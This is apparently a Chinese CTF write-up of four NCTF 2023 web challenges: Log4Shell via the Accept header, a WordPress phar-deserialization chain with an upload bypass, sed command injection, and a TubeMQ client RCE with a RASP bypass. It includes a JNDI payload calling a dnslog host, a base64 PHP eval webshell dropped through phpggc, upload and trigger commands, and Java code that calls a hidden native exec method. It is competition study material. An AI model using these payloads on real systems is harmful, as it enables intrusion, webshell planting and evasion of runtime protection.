安服仔周末正好没事,参与下南邮举办的 2023 NCTF,都是大佬orz

logging

Hint 1: 可以换个角度 尝试如何让 Spring 控制台报错?
Hint 2: 确实是 log4j 2 rce (CVE-2021-44228)
Hint 3: fuzz (尝试将 payload 放入某个 HTTP Header)

很明显知道漏洞为CVE-2021-44228,但是在源码中并没有发现触发点,根据提示可以知道在Spring控制台触发该漏洞,爆破Header头

最后发现为Accept

1
2023-12-23 23:05:23.706  WARN 25724 --- [nio-8080-exec-6] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpMediaTypeNotAcceptableException: Could not parse 'Accept' header [123]: Invalid mime type "123": does not contain '/']

dnslog测试该漏洞,并探测jdk版本

1
Accept: ${jndi:ldap://${java:version}.gnh6lvgx.dnslog.pw}

其实从dockerfile也可以知道就是jdk 8u171

依赖中存在tomcat-embed-core-9.0.55.jar,直接打BeanFactory

ez_wordpress

Hint 1: 可以思考下如何对 WordPress 进行信息收集
Hint 2: 注意版本 (6.4.1) 注意一些第三方的东西
Hint 3: 结合信息收集和网上已有的东西就可以自己本地搭建一个类似的环境进行测试 涉及的代码审计部分其实很少
Hint 4: https://wwnt.lanzout.com/iwUdK1ir03te
Hint 5: upload phar + file read (ssrf) => rce

打开是一个 WordPress 站点,使用wpscan扫描一下,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.18
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]Y
[i] Updating the Database ...
[i] Update completed.

[+] URL: http://124.71.184.68:8012/ [124.71.184.68]
[+] Started: Sat Dec 23 18:43:01 2023

Interesting Finding(s):

[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.54 (Debian)
| - X-Powered-By: PHP/7.4.33
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://124.71.184.68:8012/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://124.71.184.68:8012/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://124.71.184.68:8012/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.4.1 identified (Insecure, released on 2023-11-09).
| Found By: Emoji Settings (Passive Detection)
| - http://124.71.184.68:8012/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=6.4.1'
| Confirmed By: Meta Generator (Passive Detection)
| - http://124.71.184.68:8012/, Match: 'WordPress 6.4.1'
|
| [!] 1 vulnerability identified:
|
| [!] Title: WP 6.4-6.4.1 - POP Chain
| Fixed in: 6.4.2
| References:
| - https://wpscan.com/vulnerability/2afcb141-c93c-4244-bde4-bf5c9759e8a3
| - https://fenrisk.com/publications/blogpost/2023/11/22/gadgets-chain-in-wordpress/

[+] WordPress theme in use: twentytwentyfour
| Location: http://124.71.184.68:8012/wp-content/themes/twentytwentyfour/
| Readme: http://124.71.184.68:8012/wp-content/themes/twentytwentyfour/readme.txt
| Style URL: http://124.71.184.68:8012/wp-content/themes/twentytwentyfour/style.css
|
| Found By: Urls In Homepage (Passive Detection)
|
| The version could not be determined.

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] all-in-one-video-gallery
| Location: http://124.71.184.68:8012/wp-content/plugins/all-in-one-video-gallery/
| Last Updated: 2023-09-01T08:47:00.000Z
| [!] The version is out of date, the latest version is 3.5.2
|
| Found By: Urls In Homepage (Passive Detection)
|
| [!] 2 vulnerabilities identified:
|
| [!] Title: All-in-One Video Gallery 2.5.8 - 2.6.0 - Unauthenticated Arbitrary File Download & SSRF
| Fixed in: 2.6.1
| References:
| - https://wpscan.com/vulnerability/852c257c-929a-4e4e-b85e-064f8dadd994
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2633
|
| [!] Title: Freemius SDK < 2.5.10 - Reflected Cross-Site Scripting
| Fixed in: 3.4.3
| References:
| - https://wpscan.com/vulnerability/7fd1ad0e-9db9-47b7-9966-d3f5a8771571
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33999
|
| Version: 2.6.0 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://124.71.184.68:8012/wp-content/plugins/all-in-one-video-gallery/README.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://124.71.184.68:8012/wp-content/plugins/all-in-one-video-gallery/README.txt

[+] contact-form-7
| Location: http://124.71.184.68:8012/wp-content/plugins/contact-form-7/
| Last Updated: 2023-12-19T04:49:00.000Z
| [!] The version is out of date, the latest version is 5.8.5
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 5.8.4 (100% confidence)
| Found By: Query Parameter (Passive Detection)
| - http://124.71.184.68:8012/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.4
| Confirmed By:
| Readme - Stable Tag (Aggressive Detection)
| - http://124.71.184.68:8012/wp-content/plugins/contact-form-7/readme.txt
| Readme - ChangeLog Section (Aggressive Detection)
| - http://124.71.184.68:8012/wp-content/plugins/contact-form-7/readme.txt

[+] drag-and-drop-multiple-file-upload-contact-form-7
| Location: http://124.71.184.68:8012/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
| Last Updated: 2023-12-05T07:37:00.000Z
| [!] The version is out of date, the latest version is 1.3.7.4
|
| Found By: Urls In Homepage (Passive Detection)
|
| [!] 4 vulnerabilities identified:
|
| [!] Title: Drag and Drop Multiple File Upload - Contact Form 7 < 1.3.6.3 - Unauthenticated Stored XSS
| Fixed in: 1.3.6.3
| References:
| - https://wpscan.com/vulnerability/1b849957-eaca-47ea-8f84-23a3a98cc8de
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0595
| - https://plugins.trac.wordpress.org/changeset/2686614
|
| [!] Title: Drag and Drop Multiple File Upload < 1.3.6.5 - File Upload Size Limit Bypass
| Fixed in: 1.3.6.5
| References:
| - https://wpscan.com/vulnerability/035dffef-4b4b-4afb-9776-7f6c5e56452c
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3282
|
| [!] Title: Drag and Drop Multiple File Upload – Contact Form 7 < 1.3.6.6 - File Upload and File deletion via CSRF
| Fixed in: 1.3.6.6
| References:
| - https://wpscan.com/vulnerability/e6a76476-e086-473d-bc1e-3264c85b2441
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45364
|
| [!] Title: Drag and Drop Multiple File Upload - Contact Form 7 < 1.3.7.4 - Unauthenticated Arbitrary File Upload
| Fixed in: 1.3.7.4
| References:
| - https://wpscan.com/vulnerability/d758ce63-73fb-46a6-9cc7-c114db2e2512
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-5822
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/1b3be300-5b7f-4844-8637-1bb8c939ed4c
|
| Version: 1.3.6.2 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://124.71.184.68:8012/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://124.71.184.68:8012/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/readme.txt

主要注意这四个漏洞

  • WP 6.4-6.4.1 - POP Chain
  • All-in-One Video Gallery 2.5.8 - 2.6.0 - Unauthenticated Arbitrary File Download & SSRF
  • Drag and Drop Multiple File Upload < 1.3.6.5 - File Upload Size Limit Bypass
  • Drag and Drop Multiple File Upload - Contact Form 7 < 1.3.7.4 - Unauthenticated Arbitrary File Upload

WP 6.4-6.4.1 - POP Chain

首先是反序列化,其实就是一个__destruct造成的RCE

下载wordpress-6.4.1,看到wp-includes/html-api/class-wp-html-token.php

白送的 call_user_func 代码执行

PeiQi师傅已经分析过了:WordPress All-in-One Video Gallery 任意文件读取漏洞 CVE-2022-2633

下载存在漏洞的版本:https://downloads.wordpress.org/plugin/all-in-one-video-gallery.2.6.0.zip

看到all-in-one-video-gallery/public/video.php

首先GET传入dl,并会对其base64解码

如果解密出来的 file 不包含http://https://,则会执行$formatted_path = 'filepath';,然后调用 is_readable 函数,其实这里就会触发phar反序列化:利用 phar 拓展 php 反序列化漏洞攻击面

最后fopen读文件

并且会print打印文件内容

题解

首先测试任意文件读取

并且能够知道他存在插件 Drag and Drop Multiple File Upload ,即存在文件上传功能

发现上传失败,显示Uploaded file is too large,这里就是:https://wpscan.com/vulnerability/035dffef-4b4b-4afb-9776-7f6c5e56452c/

通过传入size_limit 参数绕过上传大小限制,使用phpggc生成phar文件

1
2
./phpggc -p phar -o ./bmth.png WordPress/RCE2 system "echo PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= |base64 -d > .shell.php"
curl -X POST -F "size_limit=10485760" -F "action=dnd_codedropz_upload" -F "type=click" -F "form_id=156" -F "upload_name=upload-file-235" -F "upload-file=@bmth.png" http://120.27.148.152:8012/wp-admin/admin-ajax.php

显示上传成功并返回文件名,根据首页报错信息可以知道文件绝对路径为:/var/www/html/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/bmth.png

poc:

1
/index.php/video/?dl=cGhhcjovLy92YXIvd3d3L2h0bWwvd3AtY29udGVudC91cGxvYWRzL3dwX2RuZGNmN191cGxvYWRzL3dwY2Y3LWZpbGVzL2JtdGgucG5n

连接上蚁剑,find / -user root -perm -4000 -print 2>/dev/null

提权读取flag

Webshell Generator

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
function security_validate()
{
foreach ($_POST as $key => $value) {
if (preg_match('/\r|\n/', $value)) {
die("$key 不能包含换行符!");
}
if (strlen($value) > 114) {
die("$key 不能超过114个字符!");
}
}
}
security_validate();
if (@$_POST['method'] && @$_POST['key'] && @$_POST['filename']) {
if ($_POST['language'] !== 'PHP') {
die("PHP是最好的语言");
}
$method = $_POST['method'];
$key = $_POST['key'];
putenv("METHOD=$method") or die("你的method太复杂了!");
putenv("KEY=$key") or die("你的key太复杂了!");
$status_code = -1;
$filename = shell_exec("sh generate.sh");
if (!$filename) {
die("生成失败了!");
}
$filename = trim($filename);
header("Location: download.php?file=$filename&filename={$_POST['filename']}");
exit();
}
?>

generate.sh:

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh

set -e

NEW_FILENAME=$(tr -dc a-z0-9 </dev/urandom | head -c 16)
cp template.php "/tmp/$NEW_FILENAME"
cd /tmp

sed -i "s/KEY/$KEY/g" "$NEW_FILENAME"
sed -i "s/METHOD/$METHOD/g" "$NEW_FILENAME"

realpath "$NEW_FILENAME"

其实思路很清晰,就是通过sed命令执行,看到sed使用手册:https://www.gnu.org/software/sed/manual/sed.html

可以通过e指令执行系统命令,sed指令可以通过换行符分隔,也可以通过;分隔

1
/g;e /readflag;s//

前后闭合即可

会将flag插入到输出文件的第一行

学到了

EvilMQ

Hint 1: 请关注题目名称 “EvilMQ” 并结合最近的已知公开漏洞
Hint 2: 与 ActiveMQ (CVE-2023-46604) 类似 但是 Client 端 RCE 需要构造 Evil Server

从pom.xml中可以看到环境为tubemq-client 1.9.0

漏洞分析

参考 X1r0z 师傅的 Writeup 简单看看,可以知道是 Client 端的 RCE
看到:org.apache.inlong.tubemq.corerpc.netty.NettyClient.NettyClientHandler#channelRead,即 Invoked when a message object was received from a remote peer

如果 status 不等于RPCProtos.ResponseHeader.Status.SUCCESS,则会调用org.apache.inlong.tubemq.corerpc.utils.MixUtils#unwrapException对异常信息进行处理

使用#分割exceptionMsg,然后实例化一个 String 构造参数的对象,很经典的两个利用类:

  • org.springframework.context.support.ClassPathXmlApplicationContext
  • org.springframework.context.support.FileSystemXmlApplicationContext

而这里exceptionMsg为

1
new StringBuilder(512).append(responseWrapper.getErrMsg()).append("#").append(responseWrapper.getStackTrace()).toString()

需要编译恶意的 Server:https://github.com/apache/inlong/blob/master/inlong-tubemq/tubemq-core/src/main/java/org/apache/inlong/tubemq/corerpc/netty/NettyRpcServer.java
然后通过 prepareResponse 方法发送payload

RASP绕过

在Dockerfile中可以看到启动添加了-javaagent:SimpleRasp.jar,存在RASP

这里开启了Can-Set-Native-Method-Prefix: true,即 hook native,学习一下:https://www.jrasp.com/guide/technology/native_method.html

如果给jvm增加一个ClassTransformer并设置native prefix,jvm将使用动态解析方式

如果没有找到,那么虚拟机将会做依次进行下面的解析工作:

1
2
3
4
1)method(foo) -> nativeImplementation(foo)
2)method(wrapped_foo) -> nativeImplementation(foo)
3)method(wrapped_foo) -> nativeImplementation(wrapped_foo)
4)method(wrapped_foo) -> nativeImplementation(foo)

如果找到上面的其中一个对应关系,则执行之。否则,因为没有任何一个合适的解析方式,于是宣告这个过程失败。

可以看到具体的逻辑,就是把原来native的forkAndExec删除掉,创建了一个新的forkAndExec,在这个方法的return中调用一个新的native方法,也就是添加prefix的forkAndExec,这样不在影响原来程序的情况下,实现了替换

而我们添加一个 prefix 的 wrapped_foo 方法,就可以绕过 RASP 了

题目中hook的是java.lang.UNIXProcess#forkAndExec方法,即命令执行最底层的方法

NativeMethod 为 RASP_forkAndExec

forkAndExec命令执行-Unsafe+反射+Native方法调用:https://javasec.org/javase/CommandExecution/#forkandexec%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C-unsafe%E5%8F%8D%E5%B0%84native%E6%96%B9%E6%B3%95%E8%B0%83%E7%94%A8

linux_fork_and_exec:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class linux_fork_and_exec{
public linux_fork_and_exec(){
try {
String[] cmds = new String[]{"bash", "-c", "gnome-calculator"};
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

Class processClass = null;

try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}

Object processObject = unsafe.allocateInstance(processClass);

// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] cmdArgs = new byte[cmds.length - 1][];
int size = cmdArgs.length;// For added NUL bytes

for (int i = 0; i < cmdArgs.length; i++) {
cmdArgs[i] = cmds[i + 1].getBytes();
size += cmdArgs[i].length;
}

byte[] argBlock = new byte[size];
int i = 0;

for (byte[] arg : cmdArgs) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}

int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);

int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);

Method forkMethod = processClass.getDeclaredMethod("RASP_forkAndExec",
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
);

forkMethod.setAccessible(true);// 设置访问权限
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, toCString(cmds[0]), argBlock, cmdArgs.length, null, envc[0], null, std_fds, false);
}catch (Exception e){
System.out.println(e);
}
}
static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
}

还有种解法比较常见,就是使用System.load加载so的方式,即JNI技术

日常膜拜X1r0z

参考:
RASP技术上的命令执行攻防探索
NCTF 2023 Official Writeup
NCTF 2023 Web Official Writeup